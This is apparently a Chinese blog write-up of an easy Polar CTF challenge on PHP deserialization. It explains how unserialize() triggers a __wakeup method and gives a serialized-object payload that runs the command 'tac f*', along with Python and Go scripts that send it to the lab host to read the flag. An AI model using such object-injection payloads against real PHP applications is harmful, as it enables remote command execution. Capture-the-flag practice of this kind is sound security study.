Polar Web【简单】PHP反序列化初试

Polar Web【简单】PHP反序列化初试

Contents

思路

启动环境,显示下图中的PHP代码,于是展开分析:

  1. 首先发现Easy类中有魔术函数 __wakeup() ,实现的是对成员变量 $name 的回显。
  2. 观察下方发现, unserialize() 函数将触发该魔术函数的执行,因此考虑构造序列字符串传入该类的成员变量 $name 中,以触发命令执行。
  • 本题分别使用手动注入和脚本运行两种方式进行解答。

EXP

手动


脚本

Python
python 复制代码
import requests


def attack(url, payload):
    url += payload
    res = (requests.get(url).content.decode('utf8'))
    if res:
        print(res[res.rindex('flag'):res.rindex('"')])


if __name__ == '__main__':
    site = 'http://~.www.polarctf.com:8090/'
    pl = '?easy=O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:6:"tac f*";s:3:"env";N;}}'
    attack(site, pl)
Go
go 复制代码
package main

import (
	"fmt"
	"io/ioutil"
	"net/http"
	"net/url"
	"strings"
)

func attack(url string) {
	//fmt.Println("url:", url)
	if resp, err := http.Get(url); err != nil {
		panic("GET ERR: " + err.Error())
	} else {
		out, _ := ioutil.ReadAll(resp.Body)
		ans := string(out)
		fmt.Println(ans[strings.LastIndex(ans, "flag"): strings.LastIndex(ans, "\"")])
	}
}

func main() {
	baseURL := "http://~.www.polarctf.com:8090/"
	// 解析基础 URL
	u, err := url.Parse(baseURL)
	if err != nil {
		panic(err)
	}
	// 解析查询字符串
	q, err := url.ParseQuery(u.RawQuery)
	if err != nil {
		panic(err)
	}
	// 添加或更新查询参数
	q.Set("easy", "O:4:\"Easy\":1:{s:4:\"name\";O:4:\"Evil\":2:{s:4:\"evil\";s:6:\"tac f*\";s:3:\"env\";N;}}")
	// 编码查询字符串
	u.RawQuery = q.Encode()
	attack(u.String())
}
  • !注意 !在Go语言中,为了防止特殊的字符导致URL被截断引发HTTP请求异常,需要对原生URL进行编码处理

运行&总结

  • 本题考查PHP代码分析、反序列化以及序列构造的技巧
  • 需要对PHP面向对象设计有所认识

敬,不完美的明天

相关推荐
Devil枫1 小时前
鸿蒙深链落地实战:从安全解析到异常兜底的全链路设计
安全·华为·harmonyos
亿坊电商7 小时前
物联网领域中PHP框架的最佳选择有哪些?
物联网·struts·php
wuzuyu3658 小时前
用php做一个简易的路由
php·路由
lubiii_8 小时前
网络安全渗透测试第一步信息收集
安全·web安全·网络安全
你的人类朋友11 小时前
🔒什么是HMAC
后端·安全·程序员
阿部多瑞 ABU12 小时前
《基于国产Linux的机房终端安全重构方案》
linux·安全
小刘鸭地下城13 小时前
内容安全策略(CSP)深度指南:从基础配置到高级防护
安全
老六ip加速器19 小时前
手机ip隔离方法
tcp/ip·智能手机·php
内心如初20 小时前
应急响应事件处理(网络安全体系架构与应急响应的前置知识)
安全·web安全
Teamhelper_AR20 小时前
AR眼镜:化工安全生产的技术革命
安全·ar